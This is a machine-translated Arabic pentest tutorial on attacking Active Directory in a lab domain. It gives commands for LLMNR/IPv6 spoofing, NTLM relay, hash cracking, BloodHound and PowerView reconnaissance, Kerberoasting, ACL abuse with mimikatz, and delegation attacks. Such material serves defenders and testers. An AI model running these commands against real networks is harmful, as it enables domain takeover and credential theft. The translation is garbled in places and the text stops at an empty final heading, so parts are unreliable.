هجمات المجال


عند إجراء اختبار الاختراق ، غالبًا ما نكتشف الأخطاء في تكوين المجال. على الرغم من أن هذا لا يبدو بالغ الأهمية بالنسبة للكثيرين ، في الواقع ، فإن مثل هذه الأخطاء قد تتسبب في تعرض المجال بأكمله للخطر.

على سبيل المثال ، وفقًا لنتائج pentest في شركة واحدة ، توصلنا إلى استنتاج مفاده أن جميع الأجهزة المتاحة في المجال لم تكن أقل من Windows10 / Windows Server2016 ، وكان لديهم جميع أحدث التصحيحات عليها. تم فحص الشبكة بانتظام ، وكانت الآلات صعبة. جلس جميع المستخدمين خلال الرموز ولم يعرفوا "كلمات المرور المكونة من 20 حرفًا". يبدو أن كل شيء على ما يرام ، ولكن لم يتم تعطيل IPv6. يشبه نظام التقاط المجال هذا:

mitm6 -> ntlmrelay -> الهجوم من خلال التفويض -> تم استلام تجزئة كلمة مرور المسؤول المحلي -> تم استلام تجزئة كلمة مرور مسؤول المجال.

لسوء الحظ ، لا تعلم الشهادات الشائعة مثل OSCP أو GPEN أو CEH اختبار اختراق Active Directory.

في هذه المقالة ، سوف نلقي نظرة على عدة أنواع من هجمات Active Directory التي قمنا بها كجزء من pentests ، وكذلك الأدوات المستخدمة. لا يمكن اعتبار هذا بأي حال من الأحوال دليلاً كاملاً لجميع أنواع الهجمات والأدوات ، فهناك الكثير منها بالفعل ، ومن الصعب دمجها في مقال واحد.

لذلك ، من أجل العرض التوضيحي ، نستخدم كمبيوتر محمول على Kali Linux 2019 والمضيفين الظاهريين المرتبطين به على VMware. تخيل أن الهدف الرئيسي من pentest هو الحصول على حقوق مسؤول المجال ، وكمدخل لدينا إمكانية الوصول إلى شبكة الشركة للشركة عبر إيثرنت. لبدء اختبار النطاق ، نحتاج إلى حساب.

الحصول على حساب


النظر في الطريقتين الأكثر شيوعًا ، في رأيي ، للحصول على تسجيل الدخول إلى حساب المجال وكلمة المرور: خداع LLMNR / NBNS والهجوم على بروتوكول IPv6.

LLMNR / NBNS خداع


لقد قيل الكثير عن هذا الهجوم. خلاصة القول هي أن العميل يرسل LLMNR الإرسال المتعدد والبث NBT-NS استعلامات لحل أسماء المضيف إذا كان هذا غير ممكن عبر DNS. يمكن لأي مستخدم شبكة الاتصال الرد على هذه الطلبات.

الأدوات التي تسمح بالهجوم:

  • الرد
  • Inveight
  • وحدات Metasploit: المساعدة / محاكاة ساخرة / llmnr / llmnr_response ، مساعدة / محاكاة ساخرة / nbns / nbns_response ،
    مساعد / خادم / التقاط / SMB ، مساعد / خادم / القبض / http_ntlm

مع الهجوم الناجح ، يمكننا الحصول على تجزئة NetNTLM لكلمة مرور المستخدم.

Responder -I eth0 -wrf 



التجزئة الناتجة ، يمكننا تصحيح أو تنفيذ مرحلات NTLM.

هجوم IPv6


إذا تم استخدام IPv6 في شبكة الشركة ، يمكننا الاستجابة لطلبات DHCPv6 وتعيين عنوان IP الخاص بنا كخادم DNS على الجهاز الذي تمت مهاجمته. نظرًا لأن IPv6 لها الأسبقية على IPv4 ، سيتم إرسال استفسارات DNS الخاصة بالعميل إلى عنواننا. اقرأ المزيد عن الهجوم هنا .

الأدوات:


تشغيل الأداة المساعدة mitm6

 mitm6 -i vmnet0 

بعد اكتمال الهجوم ، سيظهر خادم DNS جديد بعنوان IPv6 على محطة العمل التي تمت مهاجمتها.



ستحاول الأجهزة التي تمت مهاجمتها المصادقة باستخدام الجهاز. بعد رفع خادم SMB باستخدام الأداة المساعدة smbserver.py ، يمكننا الحصول على تجزئة كلمة مرور المستخدم.

 smbserver.py -smb2support SMB /root/SMB 



القبض على إجراءات التجزئة


والخطوة التالية هي إما تنفيذ هجوم تشفير على تجزئة كلمة المرور والحصول على كلمة المرور بنص واضح ، أو إجراء ترحيل NTLM.

كلمة القوة الغاشمة


الأمر بسيط: خذ كلمة مرور ، hashcat

 hashcat -m 5600 -a 3 hash.txt /usr/share/wordlists/rockyou.txt 

وحشية. يمكن الحصول على كلمة المرور أم لا :)


تم استرداد كلمة مرور مستخدم هارفي - Pbvf2019

ترحيل NTLM


يمكننا أيضا تنفيذ مرحلات NTLM. بعد التأكد من عدم استخدام SMB Signing ، نستخدم الأداة المساعدة ntlmrelayx.py ونشن هجومًا. هنا مرة أخرى ، اعتمادًا على الهدف ، نختار المتجه الذي نحتاجه. دعونا نفكر في بعضهم.


الوصول إلى الجهاز الذي تم مهاجمته عبر بروتوكول SMB


تنفيذ هجوم باستخدام المفتاح i .

 ntlmrelayx.py -t 192.168.1.5 -l loot -i 



من خلال هجوم ناجح ، يمكننا الاتصال بالجهاز البعيد باستخدام netcat.



جمع معلومات المجال


في هذه الحالة ، نقوم بإجراء الترحيل إلى وحدة تحكم المجال.

 ntlmrelayx.py -t ldap://192.168.1.2 

إذا نجح الهجوم ، فسنحصل على معلومات مفصلة حول المجال:



إضافة كمبيوتر جديد إلى المجال


لكل مستخدم بشكل افتراضي القدرة على إنشاء ما يصل إلى 10 أجهزة كمبيوتر في المجال. لإنشاء كمبيوتر ، تحتاج إلى تشغيل ترحيل على وحدة تحكم مجال باستخدام بروتوكول ldaps. يحظر إنشاء مستخدمين وأجهزة كمبيوتر عبر اتصال ldap غير مشفر. أيضًا ، لا يمكن إنشاء حساب إذا تم اعتراض الاتصال عبر SMB.

 ntlmrelayx.py -t ldaps://192.168.1.2 --add-computer 



كما ترون في الشكل ، تمكنا من إنشاء جهاز كمبيوتر RORYOTGS $.

عند إنشاء أكثر من 10 أجهزة كمبيوتر ، حصلنا على خطأ في النموذج التالي:



باستخدام بيانات اعتماد كمبيوتر RORYOTGS $ ، يمكننا تنفيذ طلبات مشروعة إلى وحدة تحكم مجال.

جمع معلومات المجال


لذلك ، لدينا حساب مستخدم أو كمبيوتر. لمتابعة الاختبار ، نحتاج إلى جمع المعلومات المتاحة للتخطيط لمزيد من الهجوم. فكر في بعض الأدوات التي ستساعدنا في تحديد البحث عن أكثر الأنظمة أهمية وتخطيط وتنفيذ الهجوم.

الكلب البوليسي


واحدة من أهم الأدوات المستخدمة في اختبار الاختراق الداخلي تقريبًا. يتطور المشروع بنشاط ويكمله ميزات جديدة.

المعلومات التي تم جمعها عن طريق سفك الدماء
  • Group - يؤدي مجموعة عضوية المجموعة
  • LocalAdmin - يؤدي جمع المسؤول المحلي
  • RDP - يؤدي مجموعة مستخدمي سطح المكتب البعيد
  • DCOM - ينفذ مجموعة مستخدمي COM الموزع
  • GPOLocalGroup - يؤدي جمع المسؤول المحلي باستخدام كائنات نهج المجموعة
  • جلسة - يؤدي جمع الدورة
  • ؛ ComputerOnly - يؤدي المسؤول المحلي ، RDP ، DCOM وجمع الجلسة
  • LoggedOn - يؤدي مجموعة جلسة متميزة (يتطلب حقوق المسؤول على الأنظمة المستهدفة)
  • Trusts - يؤدي تعداد ثقة المجال
  • ACL - يؤدي مجموعة من ACLs
  • حاوية - يؤدي جمع الحاويات.
  • DcOnly - ينفذ المجموعة باستخدام LDAP فقط. يتضمن Group ، Trusts ، ACL ، ObjectProps ، Container ، و GPOLocalGroup
  • الكل - ينفذ جميع أساليب التجميع باستثناء GPOLocalGroup و LoggedOn
  • Search Forest - ابحث في جميع المجالات في الغابة بدلاً من النطاق الحالي فقط
  • المجال - البحث في مجال معين. يستخدم نطاقك الحالي إذا كان فارغًا (افتراضي: باطل)
  • Stealth - يؤدي أساليب جمع الشبح. جميع خيارات الشبح مترابطة واحدة
  • SkipGCDeconfliction - تخطي إلغاء النشرة المصورة العمومية أثناء تعداد الجلسة. يمكن أن يؤدي ذلك إلى تسريع عملية التعداد ، ولكنه سينتج عنه عدم دقة في البيانات
  • ExcludeDc - يستبعد وحدات التحكم بالمجال من التعداد (يتجنب إشارات Microsoft ATA)
  • ComputerFile - حدد ملفًا لتحميل أسماء / عناوين IP للكمبيوتر
  • OU - حدد أي OU لتعداد


جامعو المعلومات هم SharpHound.exe (يتطلب تثبيت .NET v3.5) والبرنامج النصي SharpHound.ps1 المكتوب في بوويرشيل. وهناك أيضًا مترجم كتبه مطور بيثون تابع لجهة خارجية ، Bloodhound-python .

كقاعدة بيانات ، يتم استخدام Neo4j ، الذي يحتوي على بناء جملة خاص به ، والذي يسمح لك بإجراء استعلامات مخصصة. يمكنك قراءة المزيد حول بناء الجملة هنا .

من خارج المربع 12 طلبات متاحة
  • البحث عن جميع المسؤولين المجال
  • البحث عن أقصر الطرق إلى إدارة المجال
  • العثور على مديري الحقوق مع DCSync
  • المستخدمين مع عضوية مجموعة المجال الخارجية
  • المجموعات ذات عضوية مجموعة المجال الخارجية
  • يثق مجال الخريطة
  • أقصر الطرق لنظم التفويض غير المقيدة
  • أقصر الطرق من Kerberoastable Users
  • أقصر الطرق إلى إدارة المجال من مستخدمي Kerberoastable
  • أقصر طريق من مديري المدارس
  • أقصر الطرق إلى إدارة المجال من مديري المدارس المملوكة
  • أقصر الطرق لأهداف ذات قيمة عالية


يوفر المطورون أيضًا البرنامج النصي DBCreator.py ، والذي يسمح لك بإنشاء قاعدة بيانات عشوائية للاختبار.



Neo4j لديه REST API. هناك العديد من الأدوات المساعدة التي يمكنها الاتصال بقاعدة البيانات واستخدام البيانات المستلمة:


دعونا نفكر في بعضهم.

CypherDog


CypherDog هي قذيفة BloodHound مكتوبة في بوويرشيل. يشمل 27 cmdlets.

قائمة Cmdlet
الأمر cmdletملخص
الحصول على لBloodHoundCmdletBloodHound RTFM - الحصول على Cmdlet
الإرسال BloodHoundPostBloodHound POST - Cypher to REST API
الحصول على لBloodHoundNodeBloodHound Node - الحصول على العقدة
بحث-BloodHoundNodeBloodHound Node - عقدة البحث
نيو-BloodHoundNodeBloodHound Node - إنشاء العقدة
مجموعة-BloodHoundNodeBloodHound Node - تحديث العقدة
إزالة-BloodHoundNodeBloodHound Node - حذف العقدة
الحصول على لBloodHoundNodeListBloodHound Node - الحصول على قائمة
الحصول على لBloodHoundNodeHighValueBloodHound Node - الحصول على HighValue
الحصول على لBloodHoundNodeOwnedBloodHound Node - الحصول على المملوكة
الحصول على لBloodHoundNodeNoteBloodHound Node - الحصول على ملاحظة
مجموعة-BloodHoundNodeNoteBloodHound Node - تعيين ملاحظات
الحصول على لBloodHoundBlacklistBloodHound Node - الحصول على القائمة السوداء
مجموعة-BloodHoundBlacklistBloodHound Node - تعيين القائمة السوداء
إزالة-BloodHoundBlacklistBloodHound Node - إزالة القائمة السوداء
الحصول على لBloodHoundEdgeBloodHound Edge - الحصول على الهدف
الحصول على لBloodHoundEdgeReverseBloodHound Edge - الحصول على المصدر
الحصول على لBloodHoundEdgeCrossDomainBloodHound Edge - الحصول على CrossDomain
الحصول على لBloodHoundEdgeCountBloodHound Edge - الحصول على العد
الحصول على لBloodHoundEdgeInfoBloodHound Edge - الحصول على معلومات
نيو-BloodHoundEdgeBloodHound Edge - إنشاء الحافة
إزالة-BloodHoundEdgeBloodHound Edge - حذف الحافة
الحصول على لBloodHoundPathShortBloodHound Path - الحصول على أقصر
الحصول على لBloodHoundPathAnyBloodHound Path - الحصول على أي
الحصول على لBloodHoundPathCostBloodHound Path - Get Cost
الحصول على لBloodHoundPathCheapBloodHound Path - الحصول على أرخص
الحصول على لBloodHoundWald0IOBloodHound Path - الحصول على مؤشر Wald0


أمثلة الاستخدام
الفريقوصف
Search-BloodHoundNode -Type Computer -Property unconstraineddelegation -قيمة $ true | حدد الاسم ، أسماء الخدمة ، إلغاء التمييز ، نظام التشغيل | تنسيق قائمةالبحث عن أجهزة الكمبيوتر مع وفد Kerberos غير محدود
حافة المستخدم ADMINISTRATOR@JET.LAB مجموعة الأعضاءقائمة مجموعات المستخدمين
ما مستخدم الكمبيوتر HasSession ADMINISTRATOR@JET.LABسرد أجهزة الكمبيوتر حيث توجد جلسة مستخدم المسؤول
مسار المستخدم Computer HARVEY@JET.LAB DC1.JET.LABطباعة المسار من المستخدم إلى وحدة تحكم المجال
ما المستخدم مجموعة MemberOf 'DOMAIN ADMINS@JET.LAB' * | قائمة تسجيل الدخولسرد جلسات عمل المستخدمين النشطة التي هي أعضاء في مجموعة DOMAIN Admins
ما المستخدم عضو مجموعة 'DOMAIN ADMINS@JET.LAB' | قائمة تسجيل الدخول |؟ operat * -match 7 | قائمة AdminTo | اختر الاسمسرد المستخدمين الذين لديهم حقوق المسؤول على محطات العمل التي تعمل بنظام Windows 7 والتي تحتوي على جلسة مستخدمين من مجموعة مسؤولي المجال


بشكل افتراضي ، مطلوب المصادقة للوصول إلى قاعدة بيانات neo4j. يمكنك تعطيل المصادقة عن طريق تحرير ملف neo4j.conf. يجب إلغاء فك السطر dbms.security.auth_enabled = false. لكن هذا غير مستحسن ، حيث يمكن لأي مستخدم الاتصال بقاعدة البيانات على 127.0.0.1:7474 (التكوين الافتراضي). يمكنك قراءة المزيد حول المصادقة والترخيص في neo4j هنا.

GoFetch


يستخدم GoFetch رسمًا بيانيًا تم إنشاؤه في كلب الدم للتخطيط لهجوم وتنفيذه.

مثال الرسم البياني للدماء


منطق GoFetch


إطلاق الهجوم

 .\Invoke-GoFetch.ps1 -PathToGraph .\pathFromBloodHound.json 

GT-مولد


gt-generator ، باستخدام بيانات BloodHound ، يجعل من السهل إنشاء تذاكر ذهبية. لاستلام تذكرة ذهبية ، يلزم فقط اسم المستخدم وكلمة مرور المستخدم KRBTGT.

 python gt-generator.py -s 127.0.0.1 -u user -p pass administrator <KRBTGT_HASH> 



PowerView


PowerView هو إطار Powershell المضمّن في PowerSploit . فيما يلي قائمة ببعض أوامر cmdlets التي يمكن أن تساعدك في جمع معلومات حول مجال.

قائمة Cmdlet
الحصول على NetDomain -Domain jet.labالحصول على المجال الحالي
الحصول على لDomainSIDالحصول على المجال الحالي SID
الحصول على NetDomainController -Domain jet.labالحصول على وحدات تحكم المجال للمجال
الحصول على NetUser -Domain jet.lab-laberer المستخدمالحصول على مستخدمي المجال
Get-NetGroup * group_name *الحصول على جميع المجموعات في المجال الحالي
Get-NetGroupMember - اسم المجموعة "إدارة المجال"احصل على جميع أعضاء مجموعة Domain Admins
Get-NetGroup - اسم المستخدم "domain_user"الحصول على عضوية المجموعة للمستخدم
الحصول على NetComputer -FullDataالحصول على جميع أجهزة الكمبيوتر من المجال
Find-LocalAdminAccess -Verboseابحث عن جميع الأجهزة الموجودة في المجال الحالي حيث يكون للمستخدم الحالي حق وصول المسؤول المحلي
Get-NetSession - اسم الكمبيوتر dc02.jet.labسرد الجلسات على كمبيوتر معين
استدعاء UserHunter -CheckAccessابحث عن أجهزة كمبيوتر تم تسجيل دخول مسؤول المجال فيها وللمستخدم الحالي حق الوصول


Adidnsdump


عند استخدام DNS متكامل في Active Directory ، يمكن لأي مستخدم مجال الاستعلام عن جميع سجلات DNS الافتراضية.

الأداة المستخدمة: Adidnsdump.



هجمات المجال


الآن بعد أن أصبح لدينا معلومات المجال ، ننتقل إلى المرحلة التالية من اختبار الاختراق - مباشرة إلى الهجوم. النظر في 4 ناقلات المحتملة:

  1. تحميص
  2. الهجوم عبر ACL
  3. وفد كيربيروس
  4. إساءة استخدام أذونات GPO


تحميص


يستهدف هذا النوع من الهجوم بروتوكول Kerberos. هناك نوعان من الهجمات مثل التحميص:

  • Kerberoast
  • Asreproast

Kerberoast


تم عرض الهجوم لأول مرة بواسطة timmedin المستخدم في DerbyCon في عام 2014 ( فيديو ). من خلال هجوم ناجح ، سنكون قادرين على فرز كلمة مرور الخدمة بالموجات فوق الصوتية في وضع عدم الاتصال ، دون خوف من حظر المستخدم. في كثير من الأحيان ، تتمتع حسابات الخدمة بحقوق مفرطة وكلمة مرور دائمة ، مما قد يسمح لنا بالحصول على حقوق مسؤول المجال.
لفهم جوهر الهجوم ، فكر في كيفية عمل Kerberos.



1. يتم تحويل كلمة المرور إلى تجزئة NTLM ، يتم تشفير الطابع الزمني مع علامة تجزئة وإرسالها إلى KDC كمصدق في طلب تذكرة TGT (AS-REQ). تتحكم وحدة تحكم المجال (KDC) في معلومات المستخدم وتقوم بإنشاء بطاقة TGT.

2. يتم تشفير بطاقة TGT وتوقيعها وإرسالها إلى المستخدم (AS-REP). يمكن فقط لخدمة Kerberos (KRBTGT) فتح البيانات وقراءتها من تذكرة TGT.

3. يقوم المستخدم بإرسال تذكرة TGT إلى وحدة تحكم المجال بناءً على طلب بطاقة TGS (TGS-REQ). وحدة تحكم المجال تفتح تذكرة TGT وتتحقق من المجموع الاختباري لـ PAC.

4. يتم تشفير تذكرة TGS مع تجزئة NTLM لكلمة مرور حساب الخدمة ويتم إرسالها إلى المستخدم (TGS-REP).

5. يوفر المستخدم بطاقة TGS إلى الكمبيوتر الذي تعمل عليه الخدمة (AP-REQ). تفتح الخدمة تذكرة TGS باستخدام تجزئة NTLM.

6. يتم توفير الوصول إلى الخدمة (AS-REP).

بعد تلقي تذكرة TGS (TGS-REP) ، يمكننا العثور على كلمة المرور لحساب الخدمة في وضع عدم الاتصال. على سبيل المثال ، باستخدام hashcat.

وفقًا لـ RFC396 ، يتم حجز 20 نوعًا من التشفير لبروتوكول Kerberos. أنواع التشفير المستخدمة الآن ، حسب الأولوية:

  • AES256_CTS_HMAC_SHA1
  • AES128_CTS_HMAC_SHA1
  • RC4_HMAC_MD5

في الإصدارات الأخيرة من Windows ، يتم استخدام تشفير AES افتراضيًا. ولكن للتوافق مع الأنظمة الموجودة أسفل خادم Windows Vista و Windows 2008 ، يلزم دعم خوارزمية RC4. عند إجراء الهجوم ، يتم إجراء محاولة دائمًا أولاً للحصول على تذكرة TGS بتشفير RC4_HMAC_MD5 ، مما يتيح كلمات مرور أسرع ثم الباقي. أجرت Harmj0y دراسة شيقة ووجدت أنه إذا قمت بتحديد دعم تشفير Kerberos AES128 و AES256 فقط في خصائص المستخدم ، فلا تزال بطاقة Kerberos تصدر بتشفير RC4_HMAC_MD5.



يعد تعطيل RC4_HMAC_MD5 ضروريًا على مستوى المجال.

هجوم Kerberoasting له طريقتان.

1. الطريقة القديمة. يتم طلب تذاكر TGS من خلال setspn.exe أو .NET System.IdentityModel.Tokens.KerberosRequestorSecurityToken من فئة Powershell ، التي تم استردادها من الذاكرة باستخدام mimikatz ، ثم تحويلها إلى التنسيق المطلوب (John ، Hashcat) وفرزها.

2. الطريقة الجديدة. لاحظ machosec أن فئة KerberosRequestorSecurityToken تحتوي على طريقة GetRequest ، والتي تستخرج الجزء المشفر بكلمة مرور من بطاقة TGS.

أدوات لشن هجوم:

1) البحث عن سجلات SPN


2) طلب تذكرة TGS

  • setspn.exe (أداة مساعدة Windows الأصلية)
  • طلب تذكرة من خلال بوويرشيل

     Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “<ServicePrincipalName>” 
  • طلب-SPNTicket

يمكنك عرض التذاكر المخزنة مؤقتًا الحالية باستخدام أمر klist.

سجلات SPN المشتركة
  • TERMSRV - سطح المكتب البعيد
  • SmtpSVC و SMTP - البريد
  • WSMAN - WinRM
  • ExchangeAB ، ExchangeRFR ، ExchangeMDM - MS صرف
  • POP / POP3 - خدمة بريد POP3
  • IMAP / IMAP4 - خدمة IMAP للبريد الإلكتروني
  • MSSQLSvc - Microsoft SQL Server
  • MONGO - MongoDB خادم قاعدة البيانات
  • DNS - خادم DNS
  • HTTP ، WWW - خادم الويب
  • LDAP - LDAP
  • FTP - خادم FTP


3) تصدير التذاكر:



مثال على التنفيذ الآلي لجميع النقاط الثلاث:

  • RiskySPN

     Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File kerberoasting.txt 
  • PowerSploit

     Invoke-Kerberoast -Domain jet.lab -OutputFormat Hashcat | fl 
  • GetUserSPNs.py

     GetUserSPNs.py -request jet.lab\user:Password 

Asreproast


مشكلة عدم الحصانة التي تم تعطيل المصادقة المسبقة Kerberos. في هذه الحالة ، يمكننا إرسال طلبات AS-REQ إلى مستخدم لديه مصادقة Kerberos المسبقة معطلة ، والحصول على الجزء المشفر بكلمة مرور.



مشكلة عدم الحصانة نادرة ، لأن تعطيل المصادقة المسبقة ليس الإعداد الافتراضي.

البحث عن المستخدمين مع مصادقة Kerberos معطل:

  • PowerView

     Get-DomainUser -PreauthNotRequired -Properties samaccountname -Verbose 
  • وحدة الدليل النشط

     get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name 

الحصول على الجزء المشفر:



الهجوم عبر ACL


ACL في سياق المجال هي مجموعة من القواعد التي تحدد حقوق الوصول للكائنات في م. يمكن تكوين ACL لكائن واحد (على سبيل المثال ، حساب مستخدم) أو لوحدة تنظيمية ، على سبيل المثال ، OU. عندما تقوم بتكوين قائمة التحكم بالوصول (ACL) على الوحدة التنظيمية (OU) ، فإن كل الكائنات الموجودة داخل الوحدة التنظيمية سوف ترث ACL. تحتوي قوائم التحكم في الوصول (ACL) على إدخالات التحكم في الوصول (ACE) التي تحدد كيفية تفاعل SID مع كائن Active Directory.

على سبيل المثال ، لدينا ثلاث مجموعات: أ ، ب ، ج ، حيث المجموعة ج هي عضو في المجموعة ب والمجموعة ب هي عضو في المجموعة أ. عند إضافة ضيف إلى المجموعة ج ، لن يكون الضيف عضوًا في المجموعة ج فقط ، ولكن أيضًا عضو غير مباشر في المجموعتين B و A. عند إضافة الوصول إلى كائن مجال إلى المجموعة A ، سيكون للمستخدم الضيف أيضًا حق الوصول إلى هذا الكائن. في الحالة التي يكون فيها المستخدم عضوًا مباشرًا في مجموعة واحدة فقط ، وهذه المجموعة هي عضو غير مباشر في المجموعات الخمسين الأخرى ، فمن السهل فقدان اتصال الأذونات الموروثة.

يمكنك استرداد قوائم ACL المرتبطة بالكائن عن طريق تشغيل الأمر التالي

 Get-ObjectACL -Samaccountname Guest -ResolveGUIDs 

يمكنك استخدام الأداة لاستغلال الأخطاء في تكوين ACL.
استدعاء - ACLPwn . يجمع البرنامج النصي Powershell معلومات حول جميع قوائم ACL في المجال باستخدام أداة تجميع مجمّع BloodHound و SharpHound ويقوم بإنشاء سلسلة للحصول على إذن writeDACL. بعد بناء السلسلة ، يعمل البرنامج النصي في كل خطوة في السلسلة. ترتيب البرنامج النصي:

  1. تتم إضافة المستخدم إلى المجموعات الضرورية.
  2. تتم إضافة جهازي ACEs (Replicating Directory Changes و Replicating Directory Changes ALL) إلى ACLs لكائن المجال.
  3. إذا كان لديك حقوق في DCSync باستخدام الأداة المساعدة Mimikatz ، فسيتم طلب تجزئة كلمة مرور المستخدم krbtgt (الإعداد الافتراضي).
  4. بعد اكتمال العملية ، يحذف البرنامج النصي جميع المجموعات المضافة وإدخالات ACE في قائمة التحكم في الوصول.

يهدف البرنامج النصي فقط إلى استخدام أذونات writeDACL. قد تكون حقوق الوصول التالية أيضًا ذات أهمية للمهاجمين:

  • ForceChangePassword. حقوق لتغيير كلمة مرور المستخدم عندما تكون كلمة المرور الحالية غير معروفة. العملية باستخدام PowerSploit - Set-DomainUserPassword.
  • AddMembers. حقوق إضافة مجموعات وأجهزة كمبيوتر ومستخدمين إلى مجموعات. العملية مع PowerSploit - Add-DomainGroupMember.
  • GenericWrite. حقوق لتغيير سمات كائن. على سبيل المثال ، قم بتغيير قيمة المعلمة scriptPath. في المرة التالية التي يسجل فيها المستخدم الدخول إلى النظام ، يبدأ الملف المحدد. العملية باستخدام PowerSploit - Set-DomainObject.
  • WriteOwner. حقوق لتغيير صاحب الكائن. العملية باستخدام PowerSploit - Set-DomainObjectOwner.
  • AllExtendedRights. حقوق إضافة مستخدمين إلى مجموعات ، وتغيير كلمات مرور المستخدم ، إلخ. التشغيل باستخدام PowerSploit - Set-DomainUserPassword أو Add-DomainGroupMember.

العملية:


بدءا من جهاز في مجال

 ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe 

بدءا من جهاز ليس في مجال

 /Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'domain\user' -Domain 'fqdn_of_target_domain' -Password 'Pass' 

  • aclpwn.py هو أداة مماثلة مكتوبة في بيثون

وفد كيربيروس


يسمح لك تفويض تفويض Kerberos بإعادة استخدام بيانات اعتماد المستخدم النهائي للوصول إلى الموارد المستضافة على خادم آخر.

يمكن أن يكون تفويض Kerberos من ثلاثة أنواع:

  1. غير محدود (وفد غير مقيد). خيار التفويض الوحيد قبل Windows Server 2003
  2. تفويض مقيد منذ Windows Server 2003
  3. تفويض مقيد الموارد قدم في ويندوز سيرفر 2012

وفد غير محدود


في Active Directory الأداة الإضافية ، ميزة التفويض غير محدود ممكّن كما يلي:



من أجل الوضوح ، ضع في اعتبارك كيف يحدث تفويض غير محدود في رسم تخطيطي.



  1. يتم تحويل كلمة مرور المستخدم إلى تجزئة ntlm. يتم تشفير الطابع الزمني مع هذا التجزئة وإرسالها إلى وحدة تحكم المجال لطلب تذكرة TGT.
  2. تقوم وحدة التحكم بالمجال بفحص المعلومات المتعلقة بالمستخدم (تقييد تسجيل الدخول ، والعضوية في مجموعات ، وما إلى ذلك) ، وإنشاء بطاقة TGT وإرسالها إلى المستخدم. يتم تشفير بطاقة TGT وتوقيعها ويمكن فقط لـ krbtgt قراءة بياناتها.
  3. يطلب المستخدم بطاقة TGS للوصول إلى خدمة الويب على خادم الويب.
  4. توفر وحدة التحكم بالمجال بطاقة TGS.
  5. يرسل المستخدم تذاكر TGT و TGS إلى خادم الويب.
  6. يستخدم حساب خدمة خادم الويب تذكرة TGT للمستخدم لطلب تذكرة TGS للوصول إلى خادم قاعدة البيانات.
  7. يتصل حساب الخدمة بخادم قاعدة البيانات كمستخدم.

يتمثل الخطر الرئيسي للتفويض غير المحدود في أنه عندما يتم اختراق جهاز ذي تفويض غير محدود ، سيتمكن المهاجم من الحصول على تذاكر TGT للمستخدمين من هذا الجهاز والوصول إلى أي نظام في المجال نيابة عن هؤلاء المستخدمين.

البحث عن الآلات في مجال مع تفويض غير محدود:

  • PowerView

     Get-NetComputer -unconstrained 
  • وحدة الدليل النشط

     Get-Adcomputer -Filter {TrustedForDelegation -eq $True} 
    .

تصدير التذاكر:

  • باستخدام mimikatz. sekurlsa :: تذاكر / تصدير
  • يمكنك أيضًا تنفيذ هجوم تمريرة.

      kerberos::ptt C:\tickets\. 



وفد محدود


يسمح لك وضع التفويض المحدود بالوصول إلى الخدمات المسموح بها فقط وعلى جهاز معين. في الأداة الإضافية Active Directory ، يبدو كما يلي:



مع تفويض محدود ، يتم استخدام امتدادات بروتوكول Kerberos:

  • S4USelf
  • S4UProxy

يتم استخدام S4U2Self عندما لا يقوم العميل بالمصادقة باستخدام بروتوكول Kerberos.

بالنسبة للتفويض غير المحدود ، يتم استخدام TGT لتحديد المستخدم ، وفي هذه الحالة يستخدم ملحق S4U بنية PA-FOR-USER كنوع جديد في حقل بيانات padata / pre-Authentication. لا يُسمح بالعملية S4U2self إلا إذا كان لدى المستخدم الطالب حقل TRUSTED_TO_AUTH_FOR_DELEGATION الذي تم تعيينه في userAccountControl.



يسمح S4U2Proxy لحساب الخدمة باستخدام تذكرة إعادة التوجيه المستلمة في عملية S4U2proxy لطلب تذكرة TGS للوصول إلى الخدمات المسموح بها (msds-allowtodelegateto). يتحقق KDC مما إذا كانت الخدمة المطلوبة محددة في حقل msds-allowtodelegateto للمستخدم الطالب ، ويصدر تذكرة في حالة نجاح الفحص. وبالتالي ، فإن التفويض "مقصور" على الخدمات المستهدفة المحددة.



يمكنك البحث عن أجهزة الكمبيوتر والمستخدمين في نطاق تفويض محدود باستخدام PowerView .

البحث عن أجهزة الكمبيوتر مع تفويض غير محدود

 Get-DomainComputer -TrustedtoAuth 

البحث عن مستخدمي التفويض المحدود

 Get-DomainUser -TrustedtoAuth 

للقيام بهجوم ، نحتاج إلى كلمة مرور واضحة ، أو كلمة مرور NTLM ، أو تذكرة TGT.



الموارد المحدودة على أساس التفويض


كما هو الحال مع التفويض العادي ، يتم استخدام ملحقات S4U. نظرًا لأن التفويض المستند إلى الموارد محدود التفويض بشكل أساسي ، تتوفر أيضًا الهجمات ذات الصلة بالتفويض المحدود العادي. الاختلاف الوحيد هو أنه في التفويض المحدود البسيط ، يجب أن يكون للخدمة A. السمة msDS-AllowToDelegateTo = ServiceB ، وهنا يجب أن يكون للخدمة B السمة msDS-AllowToActOnBehalfOfOtherIdentity = Service A.



هذه الخاصية تسمح لهجوم آخر تم نشره بواسطة harmj0y. يتطلب الهجوم أذونات لتعديل المعلمة PrincipalsAllowedToDelegateToAccount ، التي تحدد سمة msds-AllowToActOnBehalfOfOtherIdentity التي تحتوي على قائمة التحكم في الوصول (ACL). على عكس التفويض المحدود ، لا نحتاج إلى حقوق مسؤول المجال لتغيير سمة msds-AllowToActOnBehalfOfOtherIdentity. يمكنك معرفة من لديه إذن لتحرير السمة كما يلي:

 (Get-acl "AD:$((get-adcomputer Windows7).distinguishedname)").access | Where-Object -Property ActiveDirectoryRights -Match WriteProperty |out-gridview 



لذلك ، لتنفيذ الهجوم ، وتنفيذ mitm6

 mitm6 -I vmnet0 

نبدأ ntlmrelayx مع خيار - تفويض الوصول

 ntlmrelayx -t ldaps://dc1.jet.lab --delegate-access 

نتيجة للهجوم ، يتم إنشاء جهاز كمبيوتر ZGXTPVYX $ مع حقوق التفويض إلى كمبيوتر Windows7.

 $x = Get-ADComputer Windows7 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity $x.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access 



تم تقديم تقرير وفد جيد في PHDays بواسطة ايجور بودموكوف.



إساءة استخدام أذونات GPO


